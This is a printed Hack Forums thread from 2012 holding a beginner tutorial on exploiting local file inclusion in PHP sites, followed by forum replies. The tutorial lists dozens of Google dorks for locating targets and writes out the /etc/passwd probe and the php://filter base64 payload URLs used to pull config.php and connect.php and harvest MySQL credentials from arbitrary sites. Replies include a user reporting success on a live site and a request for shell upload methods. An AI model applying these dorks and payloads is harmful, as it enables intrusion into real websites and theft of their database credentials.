[LFI method] php://filter - Noob friendly with pictures - Printable Version

[LFI method] php://filter - Noob friendly with pictures - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [LFI method] php://filter - Noob friendly with pictures (/showthread.php?tid=2388869)

Pages: Pages 1 2 3

[LFI method] php://filter - Noob friendly with pictures - HaxOr❤ - Apr 10, 2012

Things you will need:

1.) Site vulnerable to LFI (Local file inclusion)

Chapter I

- Finding vulnerable site

Few Google dorks.

Credits: -Downfall

Code 
inurl:index.php?page=index.php

inurl:index.php?page=sitemap.php

inurl:index.php?page=awards.php

inurl:index.php?page=book.php

inurl:index.php?page=store.php

inurl:index.php?page=items.php

inurl:index.php?page=feedback.php

inurl:index.php?page=welcome.php

inurl:index.php?page=advertise.php

inurl:index.php?page=festival.php

inurl:index.php?page=band.php

inurl:index.php?page=musicians.php

inurl:index.php?page=artist.php

inurl:index.php?page=archive.php

inurl:index.php?page=facilities.php

inurl:index.php?page=activies.php

inurl:index.php?page=bio.php

inurl:index.php?page=biography.php

inurl:index.php?page=menu.php

inurl:index.php?page=profile.php

inurl:index.php?page=terms.php

inurl:index.php?page=tos.php

inurl:index.php?page=screenshots.php

inurl:index.php?page=plans.php

inurl:index.php?page=templates.php

inurl:index.php?page=browse.php

inurl:index.php?page=shows.php

inurl:index.php?page=dining.php

inurl:index.php?page=media.php

inurl:index.php?page=offers.php

inurl:index.php?page=photogallery.php

inurl:index.php?page=schools.php

inurl:index.php?page=rates.php

inurl:index.php?page=buy.php

inurl:index.php?page=pricing.php

inurl:index.php?page=web.php

inurl:index.php?page=cms.php

inurl:index.php?page=sponsors.php

inurl:index.php?page=login.php

inurl:index.php?page=admin.php

inurl:index.php?page=register.php

inurl:index.php?page=signin.php

inurl:index.php?page=signup.php

inurl:index.php?page=artikel.php

inurl:index.php?page=kontakt.php

inurl:index.php?page=directions.php

inurl:index.php?page=farm.php

inurl:index.php?page=resume.php

inurl:index.php?page=products.php

inurl:index.php?page=music.php

inurl:index.php?page=agenda.php

inurl:index.php?page=faculty.php

inurl:index.php?page=overview.php

inurl:index.php?page=research.php

inurl:index.php?page=publications.php

inurl:index.php?page=outreach.php

inurl:index.php?page=education.php

inurl:index.php?page=regulatoins.php

So when you find some site like this:

Code 
http://site.com/index.php?page=main.php

Instead of main.php put /etc/passwd and if you get something like this :

[img]http://img820.imageshack.us/img820/723/regionme.png[/img]

Then it's vulnerable.

Chapter II

- Exploiting

This method is pretty easy to do.
We use php://filter to read files (Source) BASE-64 encrypted.
It's usefull when we want to grab MySQL information or check for any vulnerability but file must be .PHP...

With that being said lets continue to exploiting.

Lets say we have our vulnerable site:

Code 
http://site.com/index.php?page=main.php

Now we want to see source of index.php
Instead of "main.php" type:

Code 
php://filter/convert.base64-encode/resource=index.php

[img]http://img16.imageshack.us/img16/1621/regionxn.png[/img]

Code 
http://site.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

You can change index.php with any file on the server.
Now you have your source.
Right click > View Source (CTRL+U)

[img]http://img856.imageshack.us/img856/1852/regionhw.png[/img]

Now search for your encrypted text and copy it.

[img]http://img843.imageshack.us/img843/6121/regionay.png[/img]

We need to decrypt it,right?
Since it's BASE-64 we can decrypt it with crypo.

Go here and paste your source.

http://www.crypo.com/tools/eng_base64d.php

If you got any error it doesn't matter.
When we have our source you can check for files that contains MySQL information.

[img]http://img163.imageshack.us/img163/4600/regionzj.png[/img]

Common names are config.php , connect.php , connection.php and so on.
There should be at the top of index something like this

[img]http://img42.imageshack.us/img42/6624/regionfo.png[/img]

You see that our name of configuration file is "connect.php".
Now we just need to grab it.

Code 
http://site.com/index.php?page=php://filter/convert.base64-encode/resource=connect.php

[img]http://img32.imageshack.us/img32/7440/regionuyl.png[/img]

[img]http://img710.imageshack.us/img710/4793/regionbs.png[/img]

[img]http://img829.imageshack.us/img829/3469/regionka.png[/img]

That gave me exact name of config file "config.php".

Code 
http://site.com/index.php?page=php://filter/convert.base64-encode/resource=config.php

[img]http://img252.imageshack.us/img252/4152/regionla.png[/img]

[img]http://img703.imageshack.us/img703/5615/regionrq.png[/img]

Decrypted:

[img]http://img825.imageshack.us/img825/3725/regioniv.png[/img]

Video Tutorial

Here is HD tutorial on it.
And watch it and HD. :P
I know,i'm not good at doing video demonstration.. 😭

You can connect it with tools,some shells have it.
That will conclude this tutorial for today.
I hope somebody find this helpfull. 🤝

* - Azido - Apr 10, 2012

Nice tutorial Mr. ๖ۣۜΗ α x O r 🤝

You're always making quality posts.

* - Николай - Apr 10, 2012

Good Job 👍 I knew this method but it is a good reminder.

* - fobber - Apr 10, 2012

Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Edit: Just found a website that was vulnerable to this. Damn this is awesome! ^^

* - HaxOr❤ - Apr 10, 2012

(Apr 10, 2012 12:14 PM)fobber Wrote: Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Thanks fobber.
It really comes in handy when /proc/self/environ and log poisoning fails. ;)

* - Bacardi - Apr 10, 2012

And another great tutorial. You're on a roll!

* - HaxOr❤ - Apr 10, 2012

(Apr 10, 2012 12:18 PM)Bacardi. Wrote: And another great tutorial. You're on a roll!

Thanks Bacardi,i guess i'm on a roll... 🤗

* - Bacardi - Apr 10, 2012

(Apr 10, 2012 12:39 PM)๖ۣۜΗ α x O r ♥ Wrote: Thanks Bacardi,i guess i'm on a roll... 🤗

Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials 😉

* - HaxOr❤ - Apr 10, 2012

(Apr 10, 2012 12:53 PM)Bacardi. Wrote: Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials 😉

There is more method like /proc/self/environ and log poisoning.
I will do one with log posioning after i find good site.

* - Mewtwо - Apr 10, 2012

Bookmarked this thread :)
It might come in handy since it seems to be very well explained :)
Thanks.

* - BeggFoMercy - Apr 10, 2012

Nice work u got there dude ;) Keep it up

* - Keeper - Apr 10, 2012

I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

* - HaxOr❤ - Apr 10, 2012

(Apr 10, 2012 01:50 PM)Keeper Wrote: I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

No problem mate,i'm glad i could help. 🤗

* - bluebknight - Apr 11, 2012

Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

* - fobber - Apr 11, 2012

(Apr 11, 2012 03:43 AM)bluebknight Wrote: Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

I guess you'd need to use php://input for that - https://hackforums.net/showthread.php?tid=2384584

HaxOr.. Is there any chance you got a list of common database names. You already listed three (config.php , connect.php , connection.php). But any chance you got a few more?(:

Edit: Damn.. I've found websites where /etc/passwd works. php://filter works, but php://input never works. Does it need to be a specific PHP version?